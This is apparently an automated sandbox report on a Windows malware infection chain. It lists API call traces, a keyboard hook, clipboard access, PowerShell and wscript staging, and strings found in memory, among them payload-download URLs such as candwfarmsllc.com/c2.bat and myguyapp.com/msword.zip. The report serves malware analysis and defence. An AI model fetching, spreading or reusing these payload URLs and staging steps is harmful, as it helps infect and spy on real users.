Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,16_2_00406C9B
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00E4A087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,36_2_00E4A1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,36_2_00E3E472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,36_2_00E4A570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E466DC FindFirstFileW,FindNextFileW,FindClose,36_2_00E466DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0C622 FindFirstFileExW,36_2_00E0C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E473D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,36_2_00E473D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E47333 FindFirstFileW,FindClose,36_2_00E47333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00E3D921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,36_2_00E3DC54
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_00A8A087
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,38_2_00A8A1E2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,38_2_00A7E472
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,38_2_00A8A570
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A866DC FindFirstFileW,FindNextFileW,FindClose,38_2_00A866DC
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A4C622 FindFirstFileExW,38_2_00A4C622
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A873D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,38_2_00A873D4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A87333 FindFirstFileW,FindClose,38_2_00A87333
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_00A7D921
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,38_2_00A7DC54
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\mswordJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\msword\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
Source: Joe Sandbox ViewIP Address: 178.237.33.50 178.237.33.50
Source: Joe Sandbox ViewIP Address: 193.26.115.39 193.26.115.39
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4D889 InternetReadFile,SetEvent,GetLastError,SetEvent,36_2_00E4D889
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: msword.exe.12.drString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000002.00000002.1684264668.000000000509C000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://candwfarmsllc.com
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: msword.exe.12.drString found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: msword.exe.12.drString found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.drString found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: msword.exe, 00000010.00000000.2005722687.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, msword.exe, 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmp, msword.exe.12.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0A
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0C
Source: msword.exe.12.drString found in binary or memory: http://ocsp.digicert.com0X
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: powershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1684264668.0000000004D11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: powershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000001C.00000000.2055666013.0000000000AD5000.00000002.00000001.01000000.00000010.sdmp, LinkHub.com, 00000024.00000000.2076341053.0000000000EA5000.00000002.00000001.01000000.00000012.sdmp, LinkHub.com, 00000026.00000002.2215592158.0000000000AE5000.00000002.00000001.01000000.00000012.sdmp, LinkHub.com.28.dr, Clinton.24.drString found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: msword.exe.12.drString found in binary or memory: http://www.digicert.com/CPS0
Source: powershell.exe, 00000002.00000002.1680770747.0000000002A6B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://www.microsoft.coa
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.drString found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000002.00000002.1684264668.0000000004D11000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
Source: mshta.exe, 00000000.00000002.1696324768.0000000003095000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1684264668.0000000004F3D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://candwfarmsllc.com
Source: powershell.exe, 00000002.00000002.1680770747.0000000002A30000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1682926508.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp, c.htaString found in binary or memory: https://candwfarmsllc.com/c2.bat
Source: powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000002.00000002.1684264668.0000000004E66000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000002.2006995200.0000000002A5A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.c
Source: powershell.exe, 00000002.00000002.1684264668.00000000050C3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1684264668.00000000050BD000.00000004.00000800.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025460494.0000000002290000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025541625.0000000002480000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043113864.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043569674.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043809738.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043942387.0000000003080000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047975980.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051485159.0000000000650000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107396862.0000000003070000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdf
Source: cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdf8
Source: cmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLR
Source: tasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERD
Source: cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN
Source: msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfl
Source: extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfqH
Source: choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/W2.pdfxS
Source: tasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043831819.0000000002DF3000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043033027.0000000002DF2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/mB
Source: cmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zi
Source: cmd.exe, 00000004.00000003.1703265589.0000000002A92000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.1680124265.0000000002A2D000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025460494.0000000002290000.00000004.00000020.00020000.00000000.sdmp, msword.exe, 00000010.00000002.2025541625.0000000002480000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2043113864.0000000002DED000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042155343.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000003.2042892324.0000000002DEA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043569674.0000000002DB8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043809738.0000000002DEE000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000013.00000002.2043942387.0000000003080000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047975980.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2047866470.00000000009C0000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmp, extrac32.exe, 00000018.00000002.2051485159.0000000000650000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000001D.00000002.2107396862.0000000003070000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zip
Source: cmd.exe, 0000001E.00000002.2063550704.0000000002F30000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zip:
Source: tasklist.exe, 00000015.00000003.2047509229.0000000000ADD000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000003.2047279430.0000000000ADA000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 00000015.00000002.2048091220.0000000000ADE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipi
Source: msword.exe, 00000010.00000002.2024952117.00000000006AE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipj
Source: extrac32.exe, 00000018.00000002.2051819548.00000000029C8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipsH
Source: cmd.exe, 00000004.00000002.2006995200.0000000002A7B000.00000004.00000020.00020000.00000000.sdmp, cmd.exe, 00000004.00000003.2005828687.0000000002A45000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipurl2=h
Source: cmd.exe, 00000004.00000003.2005828687.0000000002A2F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSE
Source: Propose.com, 0000001C.00000003.2062260353.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2063420567.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062013078.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062038789.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062103447.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2063477046.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062147909.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062060275.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062081491.00000000009F4000.00000004.00000020.00020000.00000000.sdmp, Propose.com, 0000001C.00000003.2062125358.00000000009F4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROA
Source: cmd.exe, 00000021.00000002.2064562802.0000000002930000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipurl2=https://myguyapp.com/W2.pdfUSERDOMAIN=FACWLRWUSERDOMAIN_ROAMINGP
Source: choice.exe, 0000001D.00000002.2107238791.0000000002E48000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://myguyapp.com/msword.zipzS
Source: powershell.exe, 00000002.00000002.1687520157.0000000005D7B000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: Propose.com, 0000001C.00000003.2062709786.00000000039DC000.00000004.00000800.00020000.00000000.sdmp, Protocol.24.dr, LinkHub.com.28.drString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: LinkHub.com.28.drString found in binary or memory: https://www.globalsign.com/repository/0

Key, Mouse, Clipboard, Microphone and Screen Capturing

barindex
Installs a global keyboard hook
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comWindows user hook set: 0 keyboard low level C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.com
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004050CD GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,16_2_004050CD
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,36_2_00E4F7C7
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A8F7C7 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,38_2_00A8F7C7
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E4F55C OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,36_2_00E4F55C
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,16_2_004044A5
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E69FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,36_2_00E69FD2
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00AA9FD2 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,38_2_00AA9FD2

System Summary

barindex
Drops large PE files
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile dump: msword.exe.12.dr 597659152Jump to dropped file
Powershell drops PE file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\msword\msword.exeJump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}
Wscript called in batch mode (surpress errors)
Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.js"
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E44763: GetFullPathNameW,_wcslen,CreateDirectoryW,CreateFileW,RemoveDirectoryW,DeviceIoControl,CloseHandle,CloseHandle,36_2_00E44763
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E31B4D LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,GetProcessHeap,HeapFree,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,36_2_00E31B4D
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,16_2_00403883
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E3F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,36_2_00E3F20D
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A7F20D ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,38_2_00A7F20D
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\EquationsHighlights
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\OurProperty
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\ItemAnytime
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeFile created: C:\Windows\ExpenditureBlood
